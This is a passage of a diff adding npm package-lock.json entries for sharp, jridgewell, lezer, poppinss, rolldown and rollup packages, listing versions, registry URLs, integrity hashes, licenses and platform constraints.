"resolved": "https://registry.npmjs.org/@img/sharp-linux-x64/-/sharp-linux-x64-0.33.5.tgz",
1319
+
"integrity": "sha512-opC+Ok5pRNAzuvq1AG0ar+1owsu842/Ab+4qvU879ippJBHvyY5n2mxF1izXqkPYlGuP/M556uh53jRLJmzTWA==",
1320
+
"cpu": [
1321
+
"x64"
1322
+
],
1323
+
"dev": true,
1324
+
"license": "Apache-2.0",
1325
+
"optional": true,
1326
+
"os": [
1327
+
"linux"
1328
+
],
1329
+
"engines": {
1330
+
"node": "^18.17.0 || ^20.3.0 || >=21.0.0"
1331
+
},
1332
+
"funding": {
1333
+
"url": "https://opencollective.com/libvips"
1334
+
},
1335
+
"optionalDependencies": {
1336
+
"@img/sharp-libvips-linux-x64": "1.0.4"
1337
+
}
1338
+
},
1339
+
"node_modules/@img/sharp-linuxmusl-arm64": {
1340
+
"version": "0.33.5",
1341
+
"resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-arm64/-/sharp-linuxmusl-arm64-0.33.5.tgz",
1342
+
"integrity": "sha512-XrHMZwGQGvJg2V/oRSUfSAfjfPxO+4DkiRh6p2AFjLQztWUuY/o8Mq0eMQVIY7HJ1CDQUJlxGGZRw1a5bqmd1g==",
1343
+
"cpu": [
1344
+
"arm64"
1345
+
],
1346
+
"dev": true,
1347
+
"license": "Apache-2.0",
1348
+
"optional": true,
1349
+
"os": [
1350
+
"linux"
1351
+
],
1352
+
"engines": {
1353
+
"node": "^18.17.0 || ^20.3.0 || >=21.0.0"
1354
+
},
1355
+
"funding": {
1356
+
"url": "https://opencollective.com/libvips"
1357
+
},
1358
+
"optionalDependencies": {
1359
+
"@img/sharp-libvips-linuxmusl-arm64": "1.0.4"
1360
+
}
1361
+
},
1362
+
"node_modules/@img/sharp-linuxmusl-x64": {
1363
+
"version": "0.33.5",
1364
+
"resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-x64/-/sharp-linuxmusl-x64-0.33.5.tgz",
1365
+
"integrity": "sha512-WT+d/cgqKkkKySYmqoZ8y3pxx7lx9vVejxW/W4DOFMYVSkErR+w7mf2u8m/y4+xHe7yY9DAXQMWQhpnMuFfScw==",
1366
+
"cpu": [
1367
+
"x64"
1368
+
],
1369
+
"dev": true,
1370
+
"license": "Apache-2.0",
1371
+
"optional": true,
1372
+
"os": [
1373
+
"linux"
1374
+
],
1375
+
"engines": {
1376
+
"node": "^18.17.0 || ^20.3.0 || >=21.0.0"
1377
+
},
1378
+
"funding": {
1379
+
"url": "https://opencollective.com/libvips"
1380
+
},
1381
+
"optionalDependencies": {
1382
+
"@img/sharp-libvips-linuxmusl-x64": "1.0.4"
1383
+
}
1384
+
},
1385
+
"node_modules/@img/sharp-wasm32": {
1386
+
"version": "0.33.5",
1387
+
"resolved": "https://registry.npmjs.org/@img/sharp-wasm32/-/sharp-wasm32-0.33.5.tgz",
1388
+
"integrity": "sha512-ykUW4LVGaMcU9lu9thv85CbRMAwfeadCJHRsg2GmeRa/cJxsVY9Rbd57JcMxBkKHag5U/x7TSBpScF4U8ElVzg==",
1389
+
"cpu": [
1390
+
"wasm32"
1391
+
],
1392
+
"dev": true,
1393
+
"license": "Apache-2.0 AND LGPL-3.0-or-later AND MIT",
1394
+
"optional": true,
1395
+
"dependencies": {
1396
+
"@emnapi/runtime": "^1.2.0"
1397
+
},
1398
+
"engines": {
1399
+
"node": "^18.17.0 || ^20.3.0 || >=21.0.0"
1400
+
},
1401
+
"funding": {
1402
+
"url": "https://opencollective.com/libvips"
1403
+
}
1404
+
},
1405
+
"node_modules/@img/sharp-win32-ia32": {
1406
+
"version": "0.33.5",
1407
+
"resolved": "https://registry.npmjs.org/@img/sharp-win32-ia32/-/sharp-win32-ia32-0.33.5.tgz",
1408
+
"integrity": "sha512-T36PblLaTwuVJ/zw/LaH0PdZkRz5rd3SmMHX8GSmR7vtNSP5Z6bQkExdSK7xGWyxLw4sUknBuugTelgw2faBbQ==",
1409
+
"cpu": [
1410
+
"ia32"
1411
+
],
1412
+
"dev": true,
1413
+
"license": "Apache-2.0 AND LGPL-3.0-or-later",
1414
+
"optional": true,
1415
+
"os": [
1416
+
"win32"
1417
+
],
1418
+
"engines": {
1419
+
"node": "^18.17.0 || ^20.3.0 || >=21.0.0"
1420
+
},
1421
+
"funding": {
1422
+
"url": "https://opencollective.com/libvips"
1423
+
}
1424
+
},
1425
+
"node_modules/@img/sharp-win32-x64": {
1426
+
"version": "0.33.5",
1427
+
"resolved": "https://registry.npmjs.org/@img/sharp-win32-x64/-/sharp-win32-x64-0.33.5.tgz",
1428
+
"integrity": "sha512-MpY/o8/8kj+EcnxwvrP4aTJSWw/aZ7JIGR4aBeZkZw5B7/Jn+tY9/VNwtcoGmdT7GfggGIU4kygOMSbYnOrAbg==",
1429
+
"cpu": [
1430
+
"x64"
1431
+
],
1432
+
"dev": true,
1433
+
"license": "Apache-2.0 AND LGPL-3.0-or-later",
1434
+
"optional": true,
1435
+
"os": [
1436
+
"win32"
1437
+
],
1438
+
"engines": {
1439
+
"node": "^18.17.0 || ^20.3.0 || >=21.0.0"
1440
+
},
1441
+
"funding": {
1442
+
"url": "https://opencollective.com/libvips"
1443
+
}
1444
+
},
1445
+
"node_modules/@jridgewell/gen-mapping": {
1446
+
"version": "0.3.13",
1447
+
"resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz",
1448
+
"integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==",
1449
+
"license": "MIT",
1450
+
"dependencies": {
1451
+
"@jridgewell/sourcemap-codec": "^1.5.0",
1452
+
"@jridgewell/trace-mapping": "^0.3.24"
1453
+
}
1454
+
},
1455
+
"node_modules/@jridgewell/remapping": {
1456
+
"version": "2.3.5",
1457
+
"resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz",
1458
+
"integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==",
1459
+
"dev": true,
1460
+
"license": "MIT",
1461
+
"dependencies": {
1462
+
"@jridgewell/gen-mapping": "^0.3.5",
1463
+
"@jridgewell/trace-mapping": "^0.3.24"
1464
+
}
1465
+
},
1466
+
"node_modules/@jridgewell/resolve-uri": {
1467
+
"version": "3.1.2",
1468
+
"resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz",
1469
+
"integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==",
1470
+
"license": "MIT",
1471
+
"engines": {
1472
+
"node": ">=6.0.0"
1473
+
}
1474
+
},
1475
+
"node_modules/@jridgewell/source-map": {
1476
+
"version": "0.3.11",
1477
+
"resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.11.tgz",
1478
+
"integrity": "sha512-ZMp1V8ZFcPG5dIWnQLr3NSI1MiCU7UETdS/A0G8V/XWHvJv3ZsFqutJn1Y5RPmAPX6F3BiE397OqveU/9NCuIA==",
1479
+
"license": "MIT",
1480
+
"peer": true,
1481
+
"dependencies": {
1482
+
"@jridgewell/gen-mapping": "^0.3.5",
1483
+
"@jridgewell/trace-mapping": "^0.3.25"
1484
+
}
1485
+
},
1486
+
"node_modules/@jridgewell/sourcemap-codec": {
1487
+
"version": "1.5.5",
1488
+
"resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz",
1489
+
"integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==",
1490
+
"license": "MIT"
1491
+
},
1492
+
"node_modules/@jridgewell/trace-mapping": {
1493
+
"version": "0.3.31",
1494
+
"resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz",
1495
+
"integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==",
1496
+
"license": "MIT",
1497
+
"dependencies": {
1498
+
"@jridgewell/resolve-uri": "^3.1.0",
1499
+
"@jridgewell/sourcemap-codec": "^1.4.14"
1500
+
}
1501
+
},
1502
+
"node_modules/@lezer/common": {
1503
+
"version": "1.4.0",
1504
+
"resolved": "https://registry.npmjs.org/@lezer/common/-/common-1.4.0.tgz",
1505
+
"integrity": "sha512-DVeMRoGrgn/k45oQNu189BoW4SZwgZFzJ1+1TV5j2NJ/KFC83oa/enRqZSGshyeMk5cPWMhsKs9nx+8o0unwGg==",
1506
+
"license": "MIT"
1507
+
},
1508
+
"node_modules/@lezer/highlight": {
1509
+
"version": "1.2.3",
1510
+
"resolved": "https://registry.npmjs.org/@lezer/highlight/-/highlight-1.2.3.tgz",
1511
+
"integrity": "sha512-qXdH7UqTvGfdVBINrgKhDsVTJTxactNNxLk7+UMwZhU13lMHaOBlJe9Vqp907ya56Y3+ed2tlqzys7jDkTmW0g==",
1512
+
"license": "MIT",
1513
+
"dependencies": {
1514
+
"@lezer/common": "^1.3.0"
1515
+
}
1516
+
},
1517
+
"node_modules/@lezer/javascript": {
1518
+
"version": "1.5.4",
1519
+
"resolved": "https://registry.npmjs.org/@lezer/javascript/-/javascript-1.5.4.tgz",
1520
+
"integrity": "sha512-vvYx3MhWqeZtGPwDStM2dwgljd5smolYD2lR2UyFcHfxbBQebqx8yjmFmxtJ/E6nN6u1D9srOiVWm3Rb4tmcUA==",
1521
+
"license": "MIT",
1522
+
"dependencies": {
1523
+
"@lezer/common": "^1.2.0",
1524
+
"@lezer/highlight": "^1.1.3",
1525
+
"@lezer/lr": "^1.3.0"
1526
+
}
1527
+
},
1528
+
"node_modules/@lezer/lr": {
1529
+
"version": "1.4.5",
1530
+
"resolved": "https://registry.npmjs.org/@lezer/lr/-/lr-1.4.5.tgz",
1531
+
"integrity": "sha512-/YTRKP5yPPSo1xImYQk7AZZMAgap0kegzqCSYHjAL9x1AZ0ZQW+IpcEzMKagCsbTsLnVeWkxYrCNeXG8xEPrjg==",
1532
+
"license": "MIT",
1533
+
"dependencies": {
1534
+
"@lezer/common": "^1.0.0"
1535
+
}
1536
+
},
1537
+
"node_modules/@marijn/find-cluster-break": {
1538
+
"version": "1.0.2",
1539
+
"resolved": "https://registry.npmjs.org/@marijn/find-cluster-break/-/find-cluster-break-1.0.2.tgz",
1540
+
"integrity": "sha512-l0h88YhZFyKdXIFNfSWpyjStDjGHwZ/U7iobcK1cQQD8sejsONdQtTVU+1wVN1PBw40PiiHB1vA5S7VTfQiP9g==",
1541
+
"license": "MIT"
1542
+
},
1543
+
"node_modules/@napi-rs/wasm-runtime": {
1544
+
"version": "1.1.0",
1545
+
"resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-1.1.0.tgz",
1546
+
"integrity": "sha512-Fq6DJW+Bb5jaWE69/qOE0D1TUN9+6uWhCeZpdnSBk14pjLcCWR7Q8n49PTSPHazM37JqrsdpEthXy2xn6jWWiA==",
1547
+
"dev": true,
1548
+
"license": "MIT",
1549
+
"optional": true,
1550
+
"dependencies": {
1551
+
"@emnapi/core": "^1.7.1",
1552
+
"@emnapi/runtime": "^1.7.1",
1553
+
"@tybys/wasm-util": "^0.10.1"
1554
+
}
1555
+
},
1556
+
"node_modules/@oxc-project/types": {
1557
+
"version": "0.102.0",
1558
+
"resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.102.0.tgz",
1559
+
"integrity": "sha512-8Skrw405g+/UJPKWJ1twIk3BIH2nXdiVlVNtYT23AXVwpsd79es4K+KYt06Fbnkc5BaTvk/COT2JuCLYdwnCdA==",
1560
+
"dev": true,
1561
+
"license": "MIT",
1562
+
"funding": {
1563
+
"url": "https://github.com/sponsors/Boshen"
1564
+
}
1565
+
},
1566
+
"node_modules/@polka/url": {
1567
+
"version": "1.0.0-next.29",
1568
+
"resolved": "https://registry.npmjs.org/@polka/url/-/url-1.0.0-next.29.tgz",
1569
+
"integrity": "sha512-wwQAWhWSuHaag8c4q/KN/vCoeOJYshAIvMQwD4GpSb3OiZklFfvAgmj0VCBBImRpuF/aFgIRzllXlVX93Jevww==",
1570
+
"dev": true,
1571
+
"license": "MIT"
1572
+
},
1573
+
"node_modules/@poppinss/colors": {
1574
+
"version": "4.1.6",
1575
+
"resolved": "https://registry.npmjs.org/@poppinss/colors/-/colors-4.1.6.tgz",
1576
+
"integrity": "sha512-H9xkIdFswbS8n1d6vmRd8+c10t2Qe+rZITbbDHHkQixH5+2x1FDGmi/0K+WgWiqQFKPSlIYB7jlH6Kpfn6Fleg==",
1577
+
"dev": true,
1578
+
"license": "MIT",
1579
+
"dependencies": {
1580
+
"kleur": "^4.1.5"
1581
+
}
1582
+
},
1583
+
"node_modules/@poppinss/dumper": {
1584
+
"version": "0.6.5",
1585
+
"resolved": "https://registry.npmjs.org/@poppinss/dumper/-/dumper-0.6.5.tgz",
1586
+
"integrity": "sha512-NBdYIb90J7LfOI32dOewKI1r7wnkiH6m920puQ3qHUeZkxNkQiFnXVWoE6YtFSv6QOiPPf7ys6i+HWWecDz7sw==",
1587
+
"dev": true,
1588
+
"license": "MIT",
1589
+
"dependencies": {
1590
+
"@poppinss/colors": "^4.1.5",
1591
+
"@sindresorhus/is": "^7.0.2",
1592
+
"supports-color": "^10.0.0"
1593
+
}
1594
+
},
1595
+
"node_modules/@poppinss/dumper/node_modules/supports-color": {
1596
+
"version": "10.2.2",
1597
+
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-10.2.2.tgz",
1598
+
"integrity": "sha512-SS+jx45GF1QjgEXQx4NJZV9ImqmO2NPz5FNsIHrsDjh2YsHnawpan7SNQ1o8NuhrbHZy9AZhIoCUiCeaW/C80g==",
1599
+
"dev": true,
1600
+
"license": "MIT",
1601
+
"engines": {
1602
+
"node": ">=18"
1603
+
},
1604
+
"funding": {
1605
+
"url": "https://github.com/chalk/supports-color?sponsor=1"
1606
+
}
1607
+
},
1608
+
"node_modules/@poppinss/exception": {
1609
+
"version": "1.2.3",
1610
+
"resolved": "https://registry.npmjs.org/@poppinss/exception/-/exception-1.2.3.tgz",
1611
+
"integrity": "sha512-dCED+QRChTVatE9ibtoaxc+WkdzOSjYTKi/+uacHWIsfodVfpsueo3+DKpgU5Px8qXjgmXkSvhXvSCz3fnP9lw==",
1612
+
"dev": true,
1613
+
"license": "MIT"
1614
+
},
1615
+
"node_modules/@rolldown/binding-android-arm64": {
1616
+
"version": "1.0.0-beta.54",
1617
+
"resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.0.0-beta.54.tgz",
1618
+
"integrity": "sha512-zZRx/ur3Fai3fxiEmVp48+6GCBR48PRWJR1X3TTMn9yiq2bBHlYPgBaQtDOYWXv5H3J5dXujeTyGnuoY+kdGCg==",
1619
+
"cpu": [
1620
+
"arm64"
1621
+
],
1622
+
"dev": true,
1623
+
"license": "MIT",
1624
+
"optional": true,
1625
+
"os": [
1626
+
"android"
1627
+
],
1628
+
"engines": {
1629
+
"node": "^20.19.0 || >=22.12.0"
1630
+
}
1631
+
},
1632
+
"node_modules/@rolldown/binding-darwin-arm64": {
1633
+
"version": "1.0.0-beta.54",
1634
+
"resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.0.0-beta.54.tgz",
1635
+
"integrity": "sha512-zMyFEJmbIs91x22HAA/eUvmZHgjX8tGsD3TJ+WC9aY4bCdl3w84H9vMZmChSHAF1dYvGNH4KQDI2IubeZaCYtg==",
1636
+
"cpu": [
1637
+
"arm64"
1638
+
],
1639
+
"dev": true,
1640
+
"license": "MIT",
1641
+
"optional": true,
1642
+
"os": [
1643
+
"darwin"
1644
+
],
1645
+
"engines": {
1646
+
"node": "^20.19.0 || >=22.12.0"
1647
+
}
1648
+
},
1649
+
"node_modules/@rolldown/binding-darwin-x64": {
1650
+
"version": "1.0.0-beta.54",
1651
+
"resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.0.0-beta.54.tgz",
1652
+
"integrity": "sha512-Ex7QttdaVnEpmE/zroUT5Qm10e2+Vjd9q0LX9eXm59SitxDODMpC8GI1Rct5RrLf4GLU4DzdXBj6DGzuR+6g6w==",
1653
+
"cpu": [
1654
+
"x64"
1655
+
],
1656
+
"dev": true,
1657
+
"license": "MIT",
1658
+
"optional": true,
1659
+
"os": [
1660
+
"darwin"
1661
+
],
1662
+
"engines": {
1663
+
"node": "^20.19.0 || >=22.12.0"
1664
+
}
1665
+
},
1666
+
"node_modules/@rolldown/binding-freebsd-x64": {
1667
+
"version": "1.0.0-beta.54",
1668
+
"resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.0.0-beta.54.tgz",
1669
+
"integrity": "sha512-E1XO10ryM/Vxw3Q1wvs9s2mSpVBfbHtzkbJcdu26qh17ZmVwNWLiIoqEcbkXm028YwkReG4Gd2gCZ3NxgTQ28Q==",
1670
+
"cpu": [
1671
+
"x64"
1672
+
],
1673
+
"dev": true,
1674
+
"license": "MIT",
1675
+
"optional": true,
1676
+
"os": [
1677
+
"freebsd"
1678
+
],
1679
+
"engines": {
1680
+
"node": "^20.19.0 || >=22.12.0"
1681
+
}
1682
+
},
1683
+
"node_modules/@rolldown/binding-linux-arm-gnueabihf": {
1684
+
"version": "1.0.0-beta.54",
1685
+
"resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.0.0-beta.54.tgz",
1686
+
"integrity": "sha512-oS73Uks8jczQR9pg0Bj718vap/x71exyJ5yuxu4X5V4MhwRQnky7ANSPm6ARUfraxOqt49IBfcMeGnw2rTSqdA==",
1687
+
"cpu": [
1688
+
"arm"
1689
+
],
1690
+
"dev": true,
1691
+
"license": "MIT",
1692
+
"optional": true,
1693
+
"os": [
1694
+
"linux"
1695
+
],
1696
+
"engines": {
1697
+
"node": "^20.19.0 || >=22.12.0"
1698
+
}
1699
+
},
1700
+
"node_modules/@rolldown/binding-linux-arm64-gnu": {
1701
+
"version": "1.0.0-beta.54",
1702
+
"resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.0.0-beta.54.tgz",
1703
+
"integrity": "sha512-pY8N2X5C+/ZQcy0eRdfOzOP//OFngP1TaIqDjFwfBPws2UNavKS8SpxhPEgUaYIaT0keVBd/TB+eVy9z+CIOtw==",
1704
+
"cpu": [
1705
+
"arm64"
1706
+
],
1707
+
"dev": true,
1708
+
"license": "MIT",
1709
+
"optional": true,
1710
+
"os": [
1711
+
"linux"
1712
+
],
1713
+
"engines": {
1714
+
"node": "^20.19.0 || >=22.12.0"
1715
+
}
1716
+
},
1717
+
"node_modules/@rolldown/binding-linux-arm64-musl": {
1718
+
"version": "1.0.0-beta.54",
1719
+
"resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.0.0-beta.54.tgz",
1720
+
"integrity": "sha512-cgTooAFm2MUmFriB7IYaWBNyqrGlRPKG+yaK2rGFl2rcdOcO24urY4p3eyB0ogqsRLvJbIxwjjYiWiIP7Eo1Cw==",
1721
+
"cpu": [
1722
+
"arm64"
1723
+
],
1724
+
"dev": true,
1725
+
"license": "MIT",
1726
+
"optional": true,
1727
+
"os": [
1728
+
"linux"
1729
+
],
1730
+
"engines": {
1731
+
"node": "^20.19.0 || >=22.12.0"
1732
+
}
1733
+
},
1734
+
"node_modules/@rolldown/binding-linux-x64-gnu": {
1735
+
"version": "1.0.0-beta.54",
1736
+
"resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.0.0-beta.54.tgz",
1737
+
"integrity": "sha512-nGyLT1Qau0W+kEL44V2jhHmvfS3wyJW08E4WEu2E6NuIy+uChKN1X0aoxzFIDi2owDsYaZYez/98/f268EupIQ==",
1738
+
"cpu": [
1739
+
"x64"
1740
+
],
1741
+
"dev": true,
1742
+
"license": "MIT",
1743
+
"optional": true,
1744
+
"os": [
1745
+
"linux"
1746
+
],
1747
+
"engines": {
1748
+
"node": "^20.19.0 || >=22.12.0"
1749
+
}
1750
+
},
1751
+
"node_modules/@rolldown/binding-linux-x64-musl": {
1752
+
"version": "1.0.0-beta.54",
1753
+
"resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.0.0-beta.54.tgz",
1754
+
"integrity": "sha512-KH374P0TUjDXssROT/orvzaWrzGOptD13PTrltgKwbDprJTMknoLiYsOD6Ttz92O2VuAcCtFuJ1xbyFM2Uo/Xg==",
1755
+
"cpu": [
1756
+
"x64"
1757
+
],
1758
+
"dev": true,
1759
+
"license": "MIT",
1760
+
"optional": true,
1761
+
"os": [
1762
+
"linux"
1763
+
],
1764
+
"engines": {
1765
+
"node": "^20.19.0 || >=22.12.0"
1766
+
}
1767
+
},
1768
+
"node_modules/@rolldown/binding-openharmony-arm64": {
1769
+
"version": "1.0.0-beta.54",
1770
+
"resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.0.0-beta.54.tgz",
1771
+
"integrity": "sha512-oMAVO4wbfAbhpBxPsSp8R7ntL2DchpNfO+tGhN8/sI9jsbYwOv78uIW1fTwOBslhjTVFltGJ+l23mubNQcYNaQ==",
1772
+
"cpu": [
1773
+
"arm64"
1774
+
],
1775
+
"dev": true,
1776
+
"license": "MIT",
1777
+
"optional": true,
1778
+
"os": [
1779
+
"openharmony"
1780
+
],
1781
+
"engines": {
1782
+
"node": "^20.19.0 || >=22.12.0"
1783
+
}
1784
+
},
1785
+
"node_modules/@rolldown/binding-wasm32-wasi": {
1786
+
"version": "1.0.0-beta.54",
1787
+
"resolved": "https://registry.npmjs.org/@rolldown/binding-wasm32-wasi/-/binding-wasm32-wasi-1.0.0-beta.54.tgz",
1788
+
"integrity": "sha512-MYY/FmY+HehHiQkNx04W5oLy/Fqd1hXYqZmmorSDXvAHnxMbSgmdFicKsSYOg/sVGHBMEP1tTn6kV5sWrS45rA==",
1789
+
"cpu": [
1790
+
"wasm32"
1791
+
],
1792
+
"dev": true,
1793
+
"license": "MIT",
1794
+
"optional": true,
1795
+
"dependencies": {
1796
+
"@napi-rs/wasm-runtime": "^1.1.0"
1797
+
},
1798
+
"engines": {
1799
+
"node": ">=14.0.0"
1800
+
}
1801
+
},
1802
+
"node_modules/@rolldown/binding-win32-arm64-msvc": {
1803
+
"version": "1.0.0-beta.54",
1804
+
"resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.0.0-beta.54.tgz",
1805
+
"integrity": "sha512-66o3uKxUmcYskT9exskxs3OVduXf5x0ndlMkYOjSpBgqzhLtkub136yDvZkNT1OkNDET0odSwcU7aWdpnwzAyg==",
1806
+
"cpu": [
1807
+
"arm64"
1808
+
],
1809
+
"dev": true,
1810
+
"license": "MIT",
1811
+
"optional": true,
1812
+
"os": [
1813
+
"win32"
1814
+
],
1815
+
"engines": {
1816
+
"node": "^20.19.0 || >=22.12.0"
1817
+
}
1818
+
},
1819
+
"node_modules/@rolldown/binding-win32-x64-msvc": {
1820
+
"version": "1.0.0-beta.54",
1821
+
"resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.0.0-beta.54.tgz",
1822
+
"integrity": "sha512-FbbbrboChLBXfeEsOfaypBGqzbdJ/CcSA2BPLCggojnIHy58Jo+AXV7HATY8opZk7194rRbokIT8AfPJtZAWtg==",
1823
+
"cpu": [
1824
+
"x64"
1825
+
],
1826
+
"dev": true,
1827
+
"license": "MIT",
1828
+
"optional": true,
1829
+
"os": [
1830
+
"win32"
1831
+
],
1832
+
"engines": {
1833
+
"node": "^20.19.0 || >=22.12.0"
1834
+
}
1835
+
},
1836
+
"node_modules/@rolldown/pluginutils": {
1837
+
"version": "1.0.0-beta.53",
1838
+
"resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.53.tgz",
1839
+
"integrity": "sha512-vENRlFU4YbrwVqNDZ7fLvy+JR1CRkyr01jhSiDpE1u6py3OMzQfztQU2jxykW3ALNxO4kSlqIDeYyD0Y9RcQeQ==",
1840
+
"dev": true,
1841
+
"license": "MIT"
1842
+
},
1843
+
"node_modules/@rollup/rollup-android-arm-eabi": {
1844
+
"version": "4.53.4",
1845
+
"resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.53.4.tgz",
1846
+
"integrity": "sha512-PWU3Y92H4DD0bOqorEPp1Y0tbzwAurFmIYpjcObv5axGVOtcTlB0b2UKMd2echo08MgN7jO8WQZSSysvfisFSQ==",
1847
+
"cpu": [
1848
+
"arm"
1849
+
],
1850
+
"dev": true,
1851
+
"license": "MIT",
1852
+
"optional": true,
1853
+
"os": [
1854
+
"android"
1855
+
]
1856
+
},
1857
+
"node_modules/@rollup/rollup-android-arm64": {
1858
+
"version": "4.53.4",
1859
+
"resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.53.4.tgz",
1860
+
"integrity": "sha512-Gw0/DuVm3rGsqhMGYkSOXXIx20cC3kTlivZeuaGt4gEgILivykNyBWxeUV5Cf2tDA2nPLah26vq3emlRrWVbng==",
1861
+
"cpu": [
1862
+
"arm64"
1863
+
],
1864
+
"dev": true,
1865
+
"license": "MIT",
1866
+
"optional": true,
1867
+
"os": [
1868
+
"android"
1869
+
]
1870
+
},
1871
+
"node_modules/@rollup/rollup-darwin-arm64": {
1872
+
"version": "4.53.4",
1873
+
"resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.53.4.tgz",
1874
+
"integrity": "sha512-+w06QvXsgzKwdVg5qRLZpTHh1bigHZIqoIUPtiqh05ZiJVUQ6ymOxaPkXTvRPRLH88575ZCRSRM3PwIoNma01Q==",
1875
+
"cpu": [
1876
+
"arm64"
1877
+
],
1878
+
"dev": true,
1879
+
"license": "MIT",
1880
+
"optional": true,
1881
+
"os": [
1882
+
"darwin"
1883
+
]
1884
+
},
1885
+
"node_modules/@rollup/rollup-darwin-x64": {
1886
+
"version": "4.53.4",
1887
+
"resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.53.4.tgz",
1888
+
"integrity": "sha512-EB4Na9G2GsrRNRNFPuxfwvDRDUwQEzJPpiK1vo2zMVhEeufZ1k7J1bKnT0JYDfnPC7RNZ2H5YNQhW6/p2QKATw==",
1889
+
"cpu": [
1890
+
"x64"
1891
+
],
1892
+
"dev": true,
1893
+
"license": "MIT",
1894
+
"optional": true,
1895
+
"os": [
1896
+
"darwin"
1897
+
]
1898
+
},
1899
+
"node_modules/@rollup/rollup-freebsd-arm64": {
1900
+
"version": "4.53.4",
1901
+
"resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.53.4.tgz",
1902
+
"integrity": "sha512-bldA8XEqPcs6OYdknoTMaGhjytnwQ0NClSPpWpmufOuGPN5dDmvIa32FygC2gneKK4A1oSx86V1l55hyUWUYFQ==",
1903
+
"cpu": [
1904
+
"arm64"
1905
+
],
1906
+
"dev": true,
1907
+
"license": "MIT",
1908
+
"optional": true,
1909
+
"os": [
1910
+
"freebsd"
1911
+
]
1912
+
},
1913
+
"node_modules/@rollup/rollup-freebsd-x64": {
1914
+
"version": "4.53.4",
1915
+
"resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.53.4.tgz",
1916
+
"integrity": "sha512-3T8GPjH6mixCd0YPn0bXtcuSXi1Lj+15Ujw2CEb7dd24j9thcKscCf88IV7n76WaAdorOzAgSSbuVRg4C8V8Qw==",
1917
+
"cpu": [
1918
+
"x64"
1919
+
],
1920
+
"dev": true,
1921
+
"license": "MIT",
1922
+
"optional": true,
1923
+
"os": [
1924
+
"freebsd"
1925
+
]
1926
+
},
1927
+
"node_modules/@rollup/rollup-linux-arm-gnueabihf": {
1928
+
"version": "4.53.4",
1929
+
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.53.4.tgz",
1930
+
"integrity": "sha512-UPMMNeC4LXW7ZSHxeP3Edv09aLsFUMaD1TSVW6n1CWMECnUIJMFFB7+XC2lZTdPtvB36tYC0cJWc86mzSsaviw==",
1931
+
"cpu": [
1932
+
"arm"
1933
+
],
1934
+
"dev": true,
1935
+
"license": "MIT",
1936
+
"optional": true,
1937
+
"os": [
1938
+
"linux"
1939
+
]
1940
+
},
1941
+
"node_modules/@rollup/rollup-linux-arm-musleabihf": {
1942
+
"version": "4.53.4",
1943
+
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.53.4.tgz",
1944
+
"integrity": "sha512-H8uwlV0otHs5Q7WAMSoyvjV9DJPiy5nJ/xnHolY0QptLPjaSsuX7tw+SPIfiYH6cnVx3fe4EWFafo6gH6ekZKA==",
1945
+
"cpu": [
1946
+
"arm"
1947
+
],
1948
+
"dev": true,
1949
+
"license": "MIT",
1950
+
"optional": true,
1951
+
"os": [
